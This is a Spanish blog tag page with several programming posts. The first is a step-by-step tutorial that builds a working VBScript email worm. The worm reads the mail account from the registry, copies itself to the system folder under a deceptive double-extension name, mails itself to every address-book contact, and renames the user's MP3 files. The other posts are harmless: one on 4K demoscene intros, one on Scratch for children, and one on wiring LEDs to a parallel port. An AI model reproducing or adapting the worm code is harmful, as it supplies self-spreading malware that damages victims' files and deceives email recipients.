Entradas etiquetadas como ‘programación’

Programando fácilmente un virus para Windows

Windows virii

Windows virii

Recientemente, la historia de los virus informáticos ha cumplido ya cuarenta años. Casi medio siglo de quebraderos de cabeza con los que los usuarios y las empresas han tenido que lidiar prácticamente a diario. Aquel viejo ideario de infecciones al estilo Creeper (1971) o el español Barrotes (1993), donde los virus representaban un arte y un reto intelectual totalmente inocuo, desencadenó en una tremenda oleada de software malicioso que robaba datos, destruía sistemas operativos y producía millones de euros en pérdidas. ¿Quién no recuerda los tiempos de Viernes 13 (1988), Melissa (1999) o LoveLetter (2000)?    

Desgraciadamente (o afortunadamente) las herramientas para elaborar cualquier pieza de software están hoy día al alcance de cualquiera. Los antiguos y complejos desarrollos en ensamblador han dado paso a lenguajes modernos de alto nivel, fáciles de aprender y rápidos de implementar.    

Los archivos de proceso por lotes de MS-DOS (ficheros de extensión .BAT) fueron aquellos grandes olvidados en la programación de virus. No obstante, los expertos en su diseño vieron en ellos una alternativa veloz y potente para desarrollar malware, y algún bicho codificado de aquella forma llegó a ver la luz, eso sí, sin gran incidencia.    

Posteriormete, y gracias al procesamiento por lotes integrado en Windows a través de su herramienta de administración Windows Scripting Host (rebautizada en su segunda versión como Windows Script Host), los desarrollos víricos se multiplicaron exponencialmente, pues la potencia de desarrollo, unida a la suave curva de aprendizaje, permitía generar virus mortíferos en horas o, incluso (dependiendo de la pericia del programador) en minutos.    

Windows Script Host (WSH) es una utilidad administrativa que se provee con todas las versiones del sistema operativo del tío Bill desde Windows 98. En principio, su utilidad se basa en la generación de archivos de lotes, sin embargo, la potencia de estos ficheros con respecto a los antiguos ficheros batch es muy superior. La fortaleza reside en dos conceptos primordiales: los lenguajes de programación que implementa y los objetos del sistema que es capaz de manejar.    

WSH permite utilizar en la actualidad un amplio abanico de motores de script en su desarrollo, a saber: VBScript, JScript, PerlScript, ooRexx Script, Python Script, Tcl Script, Active PHP Script, Ruby Script, Object Rexx engine y Delphi scripting engine. Cualquier programador con conocimientos básicos de prácticamente cualquier lenguaje puede desarrollar un script para WSH. Asimismo, estos archivos de guión son capaces de acceder a características varias de un sistema operativo tales como, por ejemplo, variables de entorno, recursos de red compartidos, impresoras, el registro, el árbol de directorios, software instalado, Internet, archivos, etcétera. Una herramienta potente y un arma de doble filo.    

Lo que se propone aquí es una introducción al entorno WSH a través de aplicaciones en VBScript, el lenguaje de guión más sencillo e intuitivo, hermano pequeño torpe de Visual Basic. Como todo tutorial de programación que se precie, es preceptivo comenzar con una aplicación "Hola mundo", si no esto ni es tutorial ni es nada. Los archivos de script se escriben como texto plano sin formato en cualquier editor al uso (como Bloc de notas, por ejemplo). El código, con métodos del propio WSH y en formato VBScript, es el que sigue:    

WScript.Echo "Hola mundo"
WScript.Quit 

El objeto WScript proporciona el acceso a la raíz del modelo principal de objetos de WSH. No necesita ser declarado antes ser invocado, pues sus métodos y propiedades están siempre disponibles desde cualquier script. El método Echo muestra el cuadro de mensaje típico de Windows con un texto que se corresponde con la cadena alfanumérica que se le pasa como argumento ("Hola mundo"). Por último, el método Quit termina el script, forzándolo a parar su ejecución.    

¿Sencillo, verdad? Este archivo lo debemos guardar con la extensión .VBS y, para ejecutarlo, sólo es necesario un doble clic en el icono correspondiente (o una llamada desde la línea de comandos de la consola).    

Si hubiésemos deseado generar un fichero JScript, los métodos no habrían variado, pues son propios del WSH, sin embargo la sintaxis habría sido sutilmente distinta:    

WScript.Echo ("Hola mundo");
WScript.Quit (); 

Este archivo, para que funcionara correctamente, habríamos de guardarlo con extensión .JS.    

Prosiguiendo con nuestra fatídica infección vírica, vamos a avanzar un paso más. Necesitamos conocer el idioma del sistema operativo, por lo que vamos a internarnos en el registro de Windows para extraer el dato de una manera elegante:    

Dim WSc, IdiomaActual
Set WSc = CreateObject("WScript.Shell")  
Sub Idioma ()
  Dim LeerRegistro  
  LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Control _
    Panel\International\iCountry")  
  Select Case LeerRegistro
    Case 54,591,56,57,506,593,503,34,502,504,52,505,507,595,51,598,58
      IdiomaActual = 1
    Case 1,44
      IdiomaActual = -1
    Case Else
      IdiomaActual = 0
   End Select
End Sub   

Tras la declaración inicial de variables se asigna a WSc el objeto WScript.Shell, que permite acceder al registro, entre otras virtudes como ejecutar programas, crear accesos directos o procurar el acceso a los directorios del sistema. Estas dos líneas están fuera del procedimiento Sub porque necesitamos que sean declaraciones globales a todo el script (las utilizaremos después también).    

El procedimiento Sub Idioma () permite leer la clave de registro que necesitamos mediante el método RegRead de WScript.Shell y almacenarla en la variable local LeerRegistro. En función del valor que guarde iCountry, se asignará un 1, un -1 o un 0 a la variable global IdiomaActual, que después necesitaremos para cribar nuestra infección. En el caso de que IdiomaActual valga 1, el payload (efecto visible del virus) será en castellano (se corresponde con los códigos locales de todos los países sudamericanos más España); en el caso de que IdiomaActual valga 1, el payload será en inglés (Estados Unidos más Gran Bretaña); en el caso de IdiomaActual valga 0 (no se ha podido determinar el idioma), el payload será también en inglés, por si las moscas.    

Una vez obtengamos el idioma en el que está configurado el equipo que deseamos infectar, vamos a generar una copia del virus en el directorio del sistema para, desde ahí, enviarlo a los contactos de correo electrónico de la máquina víctima:    

Dim FSO, ArchivoAdjunto
Set FSO = CreateObject("Scripting.FileSystemObject") 
Sub CopiaMe ()
  Dim DirectorioSistema
  Set DirectorioSistema = FSO.GetSpecialFolder (1)
  Set ArchivoAdjunto = FSO.GetFile (WScript.ScriptFullName)
  Select Case IdiomaActual
    Case 1
      ArchivoAdjunto.Copy (DirectorioSistema & "\ayudame.txt.vbs")
      ArchivoAdjunto = DirectorioSistema & "\ayudame.txt.vbs"
    Case 0,-1
      ArchivoAdjunto.Copy (DirectorioSistema & "\helpme.txt.vbs")
      ArchivoAdjunto = DirectorioSistema & "\helpme.txt.vbs"
  End Select
End Sub 

Después de crear las variables globales pertinentes, generamos el objeto FileSystemObject, de la librería de tipos (localizada en el archivo Scrrun.dll), y lo almacenamos en la variable FSO. Este objeto posibilita el acceso a la gestión de carpetas y archivos (crear, copiar, mover, eliminar…).    

Ya dentro del procedimiento Sub, asignamos a DirectorioSistema el resultado de GetSpecialFolder (1), esto es, la localización de los archivos de sistema (directorio por defecto Windows\System). Ese 1 indica carpeta de sistema; 0 sería el directorio general Windows y 2 el directorio temporal Temp.    

La propiedad ScriptFullName (sólo lectura) de WScript devuelve el nombre completo (ruta y nombre de archivo) del script actual mediante el método GetFile de FileSystemObject. Este nombre se guarda en la variable ArchivoAdjunto.    

Recurriendo a la variable global anterior IdiomaActual, copiamos (Copy) nuestro virus (ArchivoAdjunto) a la carpeta de sistema con un nombre en castellano (máquinas hispanoparlantes) o en inglés (máquinas anglosajonas).    

El proceso de ocultación de este tipo de virus es bien sencillo, así como tremendamente ineficaz en según que configuraciones. Bien es sabida la capacidad de los entornos Windows para ocultar las extensiones de tipos de archivos conocidos (activada por defecto). Así pues, el truco consiste en nombrar el fichero con una cadena terminada en, por ejemplo, .txt, seguida de la extensión de rigor para el archivo de script (.vbs). De esta manera, y sólo si la característica de ocultación de extensiones está activada, el receptor del malware visualizará únicamente el nombre del archivo (en este caso ayudame.txt o helpme.txt), creyendo que lo que le remiten es un simple archivo de texto (¿nadie mira los iconos?). La sorpresa será mayúscula al momento de ejecutarlo.    

El siguiente paso es obtener los datos de la cuenta de correo electrónico de la víctima:    

Dim ServidorSMTP, NombreCuenta, Correo 
Sub Cuenta()
  Dim LeerRegistro, NuevaClave
 WSc.RegWrite "HKEY_CURRENT_USER\Software\Microsoft _
    \Windows Script Host\Settings\Timeout",0,"REG_DWORD"
  LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Software\ _
    Microsoft\Internet Account Manager\Default Mail Account")
  NuevaClave = "HKEY_CURRENT_USER\Software\Microsoft _
    \Internet Account Manager\" & "Accounts\" & LeerRegistro
  ServidorSMTP = WSc.RegRead (NuevaClave & "\SMTP Server")
  NombreCuenta = WSc.RegRead (NuevaClave & "\Account Name")
  Correo = WSc.RegRead (NuevaClave & "\SMTP Email Address")
End Sub 

Mediante un acceso al registro igual al anterior, extraemos la clave que guarda el nombre de la cuenta de correo por defecto (Mail Account) y generamos una nueva cadena con otra clave de registro más el nombre de la cuenta. De esta nueva clave leemos y almacenamos la dirección del servidor SMTP de correo saliente, el nombre de la cuenta y la dirección de correo electrónico.    

Lo ideal ahora sería actuar sobre las reglas de mensaje del software cliente de correo electrónico, eliminándolas para que permitan el envío sin cortapisas. No nos detendremos en ello por no alargar más el asunto, pero el código no sería para nada complicado, teniendo en cuenta que se encuentran definidas y almacenadas también en el registro de Windows (las de Outlook Express 5, por ejemplo, en HKEY_CURRENT_USER\Identities\XXXX\Software\Microsoft\Outlook Express\5.0\Rules\Mail).    

Una vez recabados todos los datos, vamos a enviar nuestro virus por correo electrónico:    

Sub Enviando ()
  Set MAPISession = CreateObject ("MSMAPI.mapiSession")
  Set MAPIMessage = CreateObject ("MSMAPI.mapiMessages") 
  Dim i
  MAPISession.LogonUI = False
  MAPISession.DownloadMail = False
  MAPISession.SignOn 
 Set MAPIAddress = MAPISession.AddressList (0)
  For i = 1 To MAPIAddress.AddressEntries.Count
    MAPIAddress.AddressEntries (i)
    MAPIMessage.SessionId = MAPISession.SessionId
    MAPIMessage.Compose
    MAPIMessage.RecipDisplayName = "<atacante@virus.soy>"
    MAPIMessage.MsgSubject = "Asunto del mensaje"
    MAPIMessage.MsgNoteText = "Cuerpo del mensaje"
    MAPIMessage.AttachmentIndex = 0
    MAPIMessage.AttachmentPathName = ArchivoAdjunto
    MAPIMessage.AttachmentPosition = 0
    MAPIMessage.Send (0)
  Next
  MAPISession.SignOff
End Sub 

En este procedimiento Sub, simplemente nos servimos de MAPI (en castellano Interfaz de Programación de Aplicaciones de Mensajería) para enviar el correo con el archivo adjunto. Los métodos que proporciona MAPI son lo suficientemente claros y se explican por sí mismos (iniciar sesión, componer, rellenar datos, adjuntar archivos, enviar y cerrar sesión). El envío se remite a todos los contactos de la cuenta de correo en cuestión mediante un bucle que los recorre desde el primero hasta el último (MAPIAddress.AddressEntries.Count).    

Y, para finalizar, nos queda por programar el payload del virus, esto es, la acción visible (o no visible) que se ejecutará en la máquina infectada. El payload de un virus corre a cargo de la imaginación de cada uno. En función del hijoputismo con el que deseemos actuar, la acción final de un virus puede ir desde la simple molestia de mostrar un mensaje en pantalla, hasta la eliminación de archivos vitales para el usuario o para el sistema operativo (librerías .DLL, ficheros multimedia .MP3 o .AVI, documentos .DOC, .XLS o .MDB, fotografías .JPG, etcétera).    

Nosotros, por aquello de no dar ideas, nos vamos a quedar a medio camino. Nuestro payload simplemente mostrará un mensaje en pantalla y renombrará todos aquellos ficheros en formato MP3 que encuentre exclusivamente en el directorio raíz del disco duro principal. Así de sencillito:    

Sub Payload ()
  Dim Carpeta, ArchivoMP3
  WScript.Echo "Soy un virus malo malísimo." 
  Set Carpeta = FSO.GetFolder ("C:\")
  For Each ArchivoMP3 in Carpeta.Files
    If Right (ArchivoMP3.Name, 3) = LCase ("mp3") Then
      FSO.MoveFile ArchivoMP3.Path, Replace ("C:\" & _
        ArchivoMP3.Name, ".mp3", ".vir")
    End If
  Next
End Sub 

Mediante el método GetFolder de FileSystemObject, declarado anteriormente, asigno a la variable Carpeta la ruta especificada para, después, recorrer todos los archivos de esa ruta (Carpeta.Files) mediante un bucle (For Each... Next) comprobando si su extensión es la que busco (Right (ArchivoMP3.Name, 3) = LCase ("mp3")). En caso afirmativo, renombro (FSO.MoveFile) cada fichero, cambiando su extensión de .MP3 a .VIR.    

La programación de virus al alcance de cualquiera es una realidad desde hace ya muchos años. Pero otra cosa también, la policía no es tonta y conocerá al cien por cien quién ha programado un virus, cuándo lo liberó en Internet y dónde apareció por primera vez. ¿Cómo lo hacen? De eso nos ocuparemos otro día. Hack the planet!, pero poquito y con cuidadín, que hacer el mal por hacer el mal es de bobos patológicos.

Lo impensable en 4 kas

Fotograma intro 4K

Fotograma intro 4K

¿Te crees capaz de meter una presentación con imagen, sonido y animación en tan sólo 4 KB? Si es así, eres carne de demoscene, y lo tuyo, sin duda, es el mundo de la intro 4K.    

La demoscene es una subcultura informática que nace en la época de los 8 bits y se populariza en los años de los 16 bits, llegando hasta nuestros días prácticamente sin desvirtuar en lo que a la esencia se refiere. Una demo es un pequeño pedazo de software ejecutable que incluye música, imágenes y animación. Su origen se remonta a la época del Spectrum y el Commodore 64, cuando los cracker de juegos y programas introducían sus perlas digitales en el software reventado a modo de firma introductoria antes de la ejecución. Aquella moda se convirtió en competición, y los jóvenes expertos pugnaban por desarrollar una intro mejor y más impresionante que sus contrincantes (amigos y conocidos, normalmente). Un estilo a las batallas de gallos del mundo de rap, en las que la competición consiste en superar al adversario con todo el arsenal disponible, pero, una vez terminada la disputa, el enemigo se convierte de nuevo en compañero.    

En aquel entonces, el ingenio había de prevalecer sobre la capacidad en bytes, porque esta era muy limitada, y la necesidad de hacer algo cada vez más grande se imponía en cada batalla. De allí llegan a nuestros días las competiciones con límites de capacidad en todas y cada una de las parties informáticas del mundo. Competiciones que pueden ser de gráficos rápidos en 2D, en 3D, grandes demos audiovisuales, intros de 64 KB o intros de 4 KB, entre otras. En principio, una intro es un derivado de una demo con la particularidad de que la secuencia de imágenes se repite continuamente, debido, por supuesto, a las limitaciones técnicas que se les requiere.    

El mundo de la intros de 64 KB es el que más llama la atención al extraño o visitante, ya que suelen ser animaciones con luces, sombras y texturas bastante conseguidas para tener que ocupar tan poco espacio en disco. Sin embargo, la intro 4K sigue siendo la niña bonita de los desarrolladores y expertos, porque implica un reto que es dechado de imaginación, ingenio, creatividad y conocimiento, sólo apto para sufridores extremos dispuestos a compilar cientos de veces hasta que aquello entre en 4.096 bytes, aunque sea con calzador y a cabezazos. Actualmente existen competiciones también de 1 KB, 256 bytes, 64 bytes y hasta de 32 bytes, sin embargo las 4K tienen un algo que enamora a propios y extraños.

Una intro 4K, pues, es una demo que se caracteriza por una limitación en el tamaño máximo permitido para el ejecutable, que puede contener código, modelos, texturas, animaciones y música. Por lo general se trata de una competición por y para los coder más avezados de la scene, ya que en 4 KB es imposible acoplar imágenes JPEG o sonidos MID (y prácticamente texturas tampoco), por lo que tanto música, animación, como contenido gráfico deberá estar codificado a golpe de tecla; es la matemática pura hecha obra de arte

NOTA: A continuación se muestra el vídeo del resultado de una intro 4K. Todos los vídeos que aparezcan en esta entrada se corresponden con ejecutables binarios de 4 kilobytes, pero preferimos distribuir directamente sus grabaciones en formato videotubo para evitar problemas de compatibilidad por falta de librerías de proceso gráfico o por diferencia de sistemas operativos. 

Imagen de previsualización de YouTube

Las intros de 4 KB son, ante todo, un ejercicio de programación extrema y empleo masivo de técnicas de compresión. Además, y como excepción a la regla general de la demoscene, con las intros 4K se relajan las normas morales en cuanto a uso de recursos externos se refiere. Es decir, en las intros 4K, la demoscene es relativamente flexible y permite que la demo haga uso de librerías externas en el borde de la estandarización o, incluso, de datos externos (estándares en los sistemas operativos pertinentes) como muestras de sonido o fuentes; aunque esto último no está muy bien visto por algunos scenner. Es cuestión de cada cual juzgar las intros teniendo esto en cuenta, o no, como criterio de decisión. En cualquier caso, la demoscene acepta el hecho con normalidad. Por otra parte, este comportamiento, a priori contrario a la ortodoxia scenner, no sólo ha permitido que las intros sigan evolucionando (y por ende, sorprendiendo), sino que además ha desencadenado nuevas técnicas y ha motivado ingeniosas estrategias y algoritmos, basados hoy día en cualquier tipo de plataforma, sea MS-DOS, Windows, Linux, Mac OS, las antiguas máquinas de 8 y 16 bits o las consolas de videojuegos más modernas.    

Una intro 4K se construye básicamente en lenguaje C plano, pese a la leyenda urbana que dice que el ensamblador es el idioma único para entenderse con las demos. Puede que en su día lo fuera, y es cierto que en algunos grupos  scenner tiene aún un peso importante, pero mucho de eso pasó ya a la historia. El buen arte de programación del coder es indispensable, pues el código debe estar lo suficientemente optimizado para generar una aplicación de sólo 4 KB y de aspecto sorprendente. Las matemáticas más complejas, la geometría fractal, la física de la animación, la trigonometría o la síntesis musical, entre otras materias, deben ser asignaturas superadas por el desarrollador (o desarrolladores de un grupo), o no podrá aspirar a un puesto decente en la competición. Librerías como OpenGL o Direct3D, o lenguajes como GLSL no pueden albergar secretos. 

Imagen de previsualización de YouTube

A la hora de programar una 4K es aconsejable seguir algunas directrices que indican los expertos, como, por ejemplo, modular el código. Esto, que parece un contrasentido (cuanto más compacto sea el fuente, menos ocupará), es fácilmente explicable, ya que los programas de compresión que se aplican posteriormente a los ejecutables funcionan mejor si el código de la intro está bien estructurado y separado en funciones y demás. Otros trucos, por ejemplo, consisten en utilizar los mínimos parámetros (no opcionales) de las funciones, evitar la liberación de recursos y el control de excepciones y valores de entrada, redondear valores con pocos decimales, conocer los estados por defecto o configurar correctamente las funciones del compilador. La obsesión por el ahorro de espacio se convierte en una paranoia.

Hoy en día existen numerosas herramientas y recursos gratuitos creados a propósito para los scenner que codifican intros 4K. Desde software de compresión (como Crinkler), sintetizadores de música (si no te apetece desarrollar el tuyo, o no sabes, como 4k synth) o completos frameworks de desarrollo (como los de IQ). Además de ello, están a disposición de todo el que lo necesite sitios web con mucha información y recursos, como el español escena.org, el wiki IN4K o, sobre todo, pouet.net, algo así como la Biblia de la demoscene, la base de datos mundial de scenner, grupos, concentraciones y trabajos publicados. En esta sección de publicación de producciones, podemos encontrar infinidad de demos e intros desarrolladas en cualquier modalidad y para cualquier plataforma. Al acceder a cada una de ellas, tendremos la posibilidad de descargar su ejecutable original o, en muchos casos, de visualizarla vía YouTube (como los ejemplos en este post), ya que algunas producciones pueden no llegar a llevarse bien con la configuración de nuestro equipo. El código fuente de muchas demos ha sido liberado y es posible descargarlo también. 

Imagen de previsualización de YouTube

Con respecto a los scenner programadores y a sus intros, varios han sido quienes han descollado a nivel mundial. Grandes hitos internacionales fueron las intros Parsec (primer premio en la Breakponit de 2005) o Micropolis (3º en el Assembly 2004), pues representaron un punto de inflexión muy representativo en su época. En el panorama nacional, el grupo propulsor de la categoría 4K fue Fuzzion, que desarrolló innumerables intros de calidad como Polar Field (primer premio en el Euskal Encounter de 2006 y nominada a los Scene.org Awards) o Frogzilla (también primer premio en el Euskal Encounter del año 2004). También Collapse y NecroStudios han sido buenos ejemplos locales de desarrollo genial, con intros como Katedra o Red Trip. Otros grupos, como r g b a, Software Failure (Ham’s Cyberneocortical) o Nocturns han hecho incursiones puntuales en la categoría.   

Pero, sin duda, si algún scenner local ha sobresalido sobre el resto de los demás, ese es IQ, un donostiarra que para algunos es el verdadero genio de la lámpara dentro de la demoscene. En el año 2009, ganó el primer premio en la Breakpoint con una intro que dejó a media escena mundial con la boca abierta durante un buen rato. La obra de arte, llamada Elevated, podría considerarse, probablemente, como la mejor intro 4K de la historia sin miedo a equivocarnos (la podemos ver a continuación). Imaginar que esta animación sólo ocupa 4 kilobytes y está generada exclusivamente a base de algoritmos matemáticos es suficiente para darnos cuenta por qué se rumoreaba que a su autor le andaba rondando Pixar hace bien poco.  

Imagen de previsualización de YouTube

La demo-escena es una cueva del underground informático en el que se encierran los actuales magos del arte rupestre digital. ¿Quieres entrar? No es sencillo, pero tampoco imposible. Decántate por imagen o sonido, y estudia, recopila datos, desmenuza producciones ajenas, lee, aprende de los demás y ten mucha, mucha paciencia. Pretende primero grandes demos sin limitaciones y deja las comprimidas para el final. Llegar a dominar las 4K se encuentra en el terreno de unos pocos elegidos.

Iniciar a los niños en el mundo de la programación informática con Scratch

Scratch

Scratch

Si eres un “developer, developer, developer!”, como diría Steve Ballmer, y tienes hijos pequeños, es muy probable que te agrade la posibilidad de que, en un futuro (o ya), tu retoño dirija sus pasos hacia el mundo del desarrollo informático. Puede parecer una misión compleja, teniendo en cuenta los entornos de desarrollo actuales tan avanzados, pero siempre hay alguien dispuesto a echarnos una manita de manera altruista y muy profesional.  

Scratch es una herramienta gratuita para que los más pequeños de la casa se inicien en el cruel mundo del desarrollo de software (sí, cruel he dicho). Si me apuras, los mayores que no tengan ni repajolera idea de escribir un programa informático podrían hacer uso también de ella para sus primeros pinitos, aunque en principio el software está diseñado para los niños entre 6 y 16 años. De todas las herramientas que conozco para iniciar a los pequeños en la programación, esta es la que más me ha gustado con diferencia por su facilidad de uso, su interfaz intuitiva y, sobre todo, porque su curva de aprendizaje tiene muy poco de curva y mucho de aprendizaje. (Por cierto, aunque parezca mentira, esto no es un post patrocinado ni nada por el estilo).  

Scratch se basa en scripts o guiones de acciones por lotes que se asocian a objetos (sprites) o escenas en pantalla. Los sprites son pequeños elementos visuales que representan una imagen o icono, no en vano Scratch está eminentemente preparado para que los niños aprendan creando una historia interactiva, un juego o una animación, es decir, que aprendan jugando. Cada objeto es susceptible de tener diversos disfraces o personalizaciones, así como sonidos asociados, lo que permite variar el objeto en función de determinadas circunstancias. Esto nos recuerda a la propiedad de los personajes de cualquier juego de cambiar su apariencia dependiendo de la dirección en la que caminen, si saltan, corren o pierden una vida.  

Pantalla principal de Scratch

Pantalla principal de Scratch

La característica más importante de Scratch es la falta de necesidad de introducir una sola línea de código para generar un programa. La aplicación funciona por medio de los denominados bloques, agrupados en paletas según sus características. Un bloque es una pieza o elemento que encierra una acción que puede ser de apariencia, de sonido, de movimiento, de decisión, de control, etcétera. Los bloques se arrastran de la Paleta de bloques al Panel de script, creando pilas o conjuntos de bloques que constituyen en sí mismos pequeños programas o subrutinas del programa general al que pertenecen.  

Por ejemplo, en la siguiente imagen se muestra un script que hará moverse el objeto formando un cuadrado en cinco ocasiones consecutivas. Entre cada acción se ha insertado un retardo de un segundo para apreciar bien los movimientos; además, el disparador del comienzo de la acción es la pulsación de la barra espaciadora.  

Script en Scratch

Script en Scratch

Como se puede apreciar, Scratch es sumamente sencillo de manejar. Simplemente habrá que ir arrastrando bloques de acciones para crear programas que afectarán a un objeto o a una escena completa. Cada objeto y cada escena tienen sus propios grupos de bloques que funcionan de manera independiente, ejecutando cada tarea en el momento preciso.  

Scratch dispone de bloques de acciones totalmente engarzados con la estructura de la programación “adulta” actual orientada a objetos, y ese es su mejor medio de presentación para el aprendizaje. Disponemos de estructuras de control, repeticiones y bucles, sentencias condicionales, empleo de variables globales y locales, manejo de cadenas de texto, listas o matrices unidimensionales de objetos, operadores aritméticos y booleanos, comparaciones, control de eventos, etcétera. Es más que posible desarrollar cualquier programa sencillo con Scratch, además de las animaciones y juegos a los que está orientado. Para estos últimos también gozamos de características implementadas de fábrica como el movimiento de personajes, el rebote de objetos o el control de colisiones.  

Además de todo ello, Scratch tiene una característica bastante interesante, que es la de subir al sitio web de la aplicación nuestras últimas creaciones para compartirlas con toda la comunidad (bajo licencia Creative Commons); y todo ello de una manera automática. Estas aplicaciones en línea se reproducen sobre un applet de Java, sin embargo, para ejecutar los programas en local deberemos tener instalada la herramienta en sí, ya que Scratch no dispone de un compilador al uso que nos permita generar un archivo ejecutable compatible con nuestro sistema operativo.  

Y para los más friquis también tenemos importantes noticias, ya que Scratch es capaz de conectar con los productos LEGO WeDo y dispone de bloques de acciones específicamente diseñados para interactuar con los motores de tus diseños de robótica. Simplemente habremos de conectar nuestro robot LEGO con el ordenador vía USB y generar el programa correspondiente desde Scratch con la misma facilidad que hemos comentado anteriormente.

En el siguiente vídeo (en inglés) se puede ver el desarrollo de una aplicación en Scratch que maneja un robot de LEGO WeDo con forma y movimientos de portero de fútbol.

Imagen de previsualización de YouTube 

¿Te he convencido ya? ¿Todavía no? Esto de Scratch parece salido de la mente de un padre rarito que quería que su hijo aprendiera a programar y le diseño una herramienta, ¿verdad? Pues espera a oír leer lo que sigue.  

Scratch es una herramienta multilingüística, gratuita y de software libre creada por el grupo Lifelong Kindergarten Group del MIT Media Lab, el departamento de tecnología y multimedia del Instituto Tecnológico de Massachusetts (MIT), en Estados Unidos. Está disponible para sistemas Windows, Linux y Mac OS X (qué pena de Solaris, pero nadie es perfecto), y es un proyecto dirigido por Mitchel Resnick y financiado por la National Science Foundation (Fundación Nacional de Ciencia) estadounidense, Microsoft, Intel, Nokia, Iomega y los consorcios de investigación del MIT Media Lab, además de otros organismos, universidades y empresas privadas.  

Es uno de los softwares educativos más reconocidos a nivel mundial y especialmente recomendado por el Observatorio Tecnológico del Ministerio de Educación español. Se utiliza en todo el mundo en muchos entornos diferentes: escuelas, museos, centros de aprendizaje, hogares, ayuntamientos…  

El 15 de diciembre de 2009, la comunidad web de Scratch contaba con más de 408.227 miembros registrados (95.033 de ellos habían colgado sus proyectos), con un total de 796.359 proyectos compartidos por la comunidad. El sitio web obtiene cerca de 7.000.000 de páginas vistas al mes. En el año 2010, la web de Scratch cuenta con más de un millón de proyectos alojados y compartidos (código fuente incluido). Además, cada cierto tiempo se celebra el Scratch Design Studio, un evento basado en desafíos que fomentan la creación y el intercambio de ideas y proyectos. Asimismo, disponen de una comunidad en línea exclusiva para educadores denominada ScratchEd.  

El éxito de la herramienta es tal que se ha desarrollado incluso algún que otro mod, o modificación alternativa derivada del original, basado en el código fuente de Scratch y que agrega nuevos bloques de funciones o cambios en la interfaz gráfica, siendo los más relevantes BYOB (programado por Jeans), Panther (por Panther Team) y Streak (de Billyedward).  

¿Cómo se te queda el cuerpo ahora? La verdad es que es la herramienta ideal a la disposición de niños y adolescentes para iniciarse en el mundo del desarrollo de software. Y hablamos de iniciarse, por lo que nadie espere conexión con bases de datos distribuidas, herencia y polimorfismo o recursividad; tampoco hay que pasarse. Aunque si piensas que  sólo vas a poder desarrollar estúpidas animaciones infantiles, te recomiendo que recorras la galería de proyectos destacados de la web de Scratch y visualices joyas como Sonic Advance 2, Piano~, 3D duplivert wave o Tarati.  

Scratch es la mejor opción para comenzar desde cero (from scratch, en inglés) y obtener una sólida base que permita posteriormente migrar a entornos de desarrollo más “serios”.

Programación del puerto paralelo

Puerto paralelo

Puerto paralelo

Si existe una tecnología que inexorablemente camina hacia su extinción, esa es la del archiconocido y bien querido por todos nosotros puerto paralelo. Este conector que ya no viene en los portátiles (ni en muchos ordenatas de sobremesa) apareció de la mano de IBM en 1981 con su primer PC y ha llegado incorrupto hasta nuestros días.

Su estructura de 25 pines hace de él un conector nada discreto, mas muy fácil de manejar. No es el más rápido, pero mediante su manejo podemos interconectarnos con el mundo real de la manera más sencilla, sabiendo un poquito de aquí y un poquito de allá. Cierto es que su uso ha sido casi exclusivamente dedicado al control de impresoras, pero vía puerto paralelo podemos manejar desde un juego de luces a una lavadora, un robot o una excavadora. ¿Cómo se te queda el cuerpo? Y fácil, muy fácil.

Básicamente, lo que podemos hacer con cada uno de los 25 pines de un puerto paralelo es ponerlos a 0 ó a 5 voltios. Esta situación binaria combinada es capaz de activar un relé, por ejemplo, que a su vez active un electrodoméstico, una bombilla o cualquier otro elemento electrónico.

Comencemos viendo en la siguiente imagen la estructura de pines del puerto en cuestión. Realmente, el puerto paralelo consta de tres puertos diferentes integrados en el propio conector (los que aparecen de color azul, rojo y naranja en la imagen).

LPT

Estructura de pines

El puerto de datos (DATA), permite transmitir un byte (8 bits) de datos. Cada uno de los bits se corresponde con uno de los pines D0 a D7. Por tanto, en conjunto, se pueden transmitir valores entre 0 y 255 en formato binario. Por ejemplo, para transmitir el 139, 10001011 en binario, se pondrán a 5 voltios los pines D7, D3, D1 y D0. Este puerto puede configurarse para servir tanto de entrada como de salida de datos.

El puerto de control (CONTROL) es sólo de salida y se corresponde con los pines C0 a C3, con lo que en principio nos permite trasmitir valores entre 0 y 16. En un principio este puerto se utilizaba para transferir comandos inmediatos a la impresora como un salto de línea o un reset, y los pines conservan los nombres que se les dieron en esa época (C0=Strobe, C1=Auto feed, C2=Initialize y C3=Select). Y por razones históricas tambien, C0, C1 y C3 están invertidos, lo que quiere decir que invierten la salida y, al contrario que los pines normales, representan el 0 con 5 voltios y el 1 con 0 voltios. Por ejemplo, el número 6, que es 0110 en binario, al estar los bits invertidos, deberíamos poner C3, C2 y C0 a 5 voltios y C1 a 0.

Por último tenemos el puerto de estado (STATUS). Se usaba originalmente para recibir el estado de la impresora, también ha heredado los nombres de los pines de aquella época (S3=Error, S4=Select in, S5=Paper end, S6=Acknowledge y S7=Busy) y también presenta algún pin invertido (el S3 y el S6). Es un puerto sólo de entrada.

El resto de pines (los que están en verde en el gráfico anterior) están conectados a tierra y nos ofrecen el voltaje de referencia de 0 voltios.

Para empezar a cacharrear con el puerto paralelo, lo ideal es montar un adaptador hembra en una placa de pruebas (protoboard en inglés), que no es otra cosa que una plancha de plástico reutilizable, con agujerillos y contactos metálicos, usada para construir prototipos electrónicos (o realizar pruebas experimentales) normalmente sin soldadura.

Además, necesitaremos un cable paralelo para conectar el prototipo al ordenador y, también, que este ordenador disponga a su vez de puerto paralelo, si no vamos aviados.

LPT

Conexión con placa de pruebas

Lo que vamos a hacer es soldar un cable a cada pin y, en la placa de pruebas, ordenar los extremos en línea, usando un color en cada tipo de puerto para distinguirlos fácilmente (imágenes siguientes).

Los cables rojos pertenecen al puerto de control, los amarillos al de datos y los verdes al de estado. Utilizaremos también dos cables negros para los conectores a tierra.

LPT

Conexiones (vista frontal)

LPT

Conexiones (vista trasera)

LPT

Conexiones (vista inferior)

Como ejemplo de utilización vamos a conectar 8 leds a cada uno de los pines de datos, de esta manera obtendremos feedback visual en tiempo real de lo que ocurre en cada momento, es decir, si ponemos un pin a 0 el led deberá de permanecer apagado si lo ponemos a 1 se encenderá. Utilizaremos el siguiente esquema para la realización del montaje.

LPT

Esquema de montaje

Por supuesto necesitaremos 8 leds y 8 pequeñas resistencias de 470 ohmnios, que son las representadas en la imagen por esos pequeños rectángulos intercalados entre pin y led. Las resistencias sirven para limitar la corriente que pasará por cada cable, aunque en este caso concreto son prescindibles, porque cada pin del puerto paralelo sólo puede suministrar 40mA como máximo, una corriente suficientemente baja para que aguanten la mayoría de los leds y no se quemen. Pero por si las moscas…
